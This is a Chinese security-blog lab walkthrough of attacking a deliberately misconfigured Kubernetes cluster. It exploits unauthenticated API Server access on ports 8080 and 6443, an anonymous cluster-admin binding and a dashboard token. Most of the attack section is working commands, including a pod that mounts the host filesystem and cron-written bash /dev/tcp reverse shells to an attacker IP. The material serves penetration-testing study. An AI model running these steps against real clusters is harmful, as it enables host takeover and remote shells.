freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

K8S Api Server未授权访问漏洞
2023-11-01 13:54:15

Kubernetes API Server(API服务器)是Kubernetes集群的中央组件,提供RESTful API,允许用户、客户端和其他组件与集群交互,执行资源管理、身份验证、授权和状态查询等功能,是集群控制和管理的入口点。

未授权访问

默认情况下 Api Server 在 8080 和 6443 两个端口上提供服务

环境搭建

1.搭建集群

使用metarget搭建版本为1.16.5的k8s集群

./metarget gadget install k8s --version 1.16.5

创建一个运行nginx的pod,使用以下yaml文件

apiVersion: v1
kind: Pod
metadata:
name: nginx-pod
spec:
containers:
- name: nginx-container
image: nginx:latest
ports:
- containerPort: 80

然后,使用 kubectl apply 命令来创建这个 Pod:

kubectl apply -f nginx-pod.yaml

Pod 将被创建并运行 Nginx。你可以使用以下命令来验证 Pod 的状态:

kubectl get pods

一旦状态显示为 "Running",表示 Nginx Pod 已成功创建

2.开启api server 8080端口

cd /etc/kubernetes/manifests
vim kube-apiserver.yaml

insecure-port默认值为0,将其修改为8080(允许本地8080端口访问),在添加- --insecure-bind-address=0.0.0.0(允许远程访问本地的8080端口)

3.配置kubernetes dashboard

我没有配置成功远程访问kubernetes dashboard,在这里我就在本地配置访问dashboard,实际利用的过程和远程是类似的。

wget https://gist.githubusercontent.com/tejaswigk/da57d7911284cbf56e7f99af0afd6884/raw/de38da2a7619890a72d643d2bbd94278221e5977/insecure-kubernetes-dashboard.yml

kubectl apply -f insecure-kubernetes-dashboard.yml
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard  9090:80

配置账号

sudo vim  account.yaml

# Creating a Service Account
apiVersion: v1
kind: ServiceAccount
metadata:
name: admin-user
namespace: kubernetes-dashboard

---
# Creating a ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: admin-user
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: admin-user
namespace: kubernetes-dashboard

kubectl apply -f account.yaml

8080端口未授权访问漏洞

1.控制已创建的容器

在攻击机上访问集群的8080端口

使用kubectl -s获取信息

kubectl -s http://192.168.159.134:8080get pods -n default执行命令进入容器

kubectl -s http://192.168.159.234:8080 exec -it nginx-pod -n default bash

2.新建pod反弹shell

攻击机上新建yaml文件:myapp.yaml,目的是让集群新建一个pod并挂载上宿主机的/mnt.

apiVersion: v1
kind: Pod
metadata:
name: myapp2
spec:
containers:
- image: nginx
name: container0
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /

使用kubectl -s新建

kubectl -s http://192.168.159.234:8080  create -f myapp.yaml

查看新建的pod

kubectl -s http://192.168.159.234:8080  get pods

进入容器

kubectl -s http://192.168.159.234:8080  exec -it myapp -n default bash

写计划任务反弹宿主机的shell

echo '*/1 * * * * bash -c "bash -i >& /dev/tcp/192.168.159.189/8888 0>&1"' > /mnt/var/spool/cron/crontabs/root

攻击机获取到shell

3.结合kubernetes dashboard新建pod反弹shell

上面以及搭建好了kubernetes dashboard,访问http://127.0.0.1:9090

选择skip,新建pod失败。

查看Serviceaccount和Secrets

kubectl  get sa,secrets -n kubernetes-dashboard

获取token

kubectl  describe secrets admin-user-token-tq2kj -n kubernetes-dashboard

使用获取到token登录

成功新建一个挂载到宿主机/mnt的pod

进入myapp的/mnt,就是集群的master节点

写计划任务反弹shell

echo '*/1 * * * * root bash -c "bash -i >& /dev/tcp/192.168.159.189/33333 0>&1"' >> /mnt/etc/crontab

成功获取到shell


6443端口-system:anonymous错误配置

将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

访问6443端口

获取node节点信息,账号密码任意输入

kubectl --insecure-skip-tls-verify -s https://192.168.159.234:6443 get node

创建挂载到宿主机/mnt的容器

kubectl --insecure-skip-tls-verify -s https://192.168.159.234:6443 apply -f myapp.yaml

查看容器

kubectl --insecure-skip-tls-verify -s https://192.168.159.234:6443 get pods

进入容器

kubectl --insecure-skip-tls-verify -s https://192.168.159.234:6443 exec -it myapp -n default bash

后续写计划任务反弹shell利用过程同上。

kube-hunter发现k8s漏洞

/kube-hunter.py --cidr 192.168.159.234

还可以识别节点、服务和漏洞


# 系统安全 # 内网渗透 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录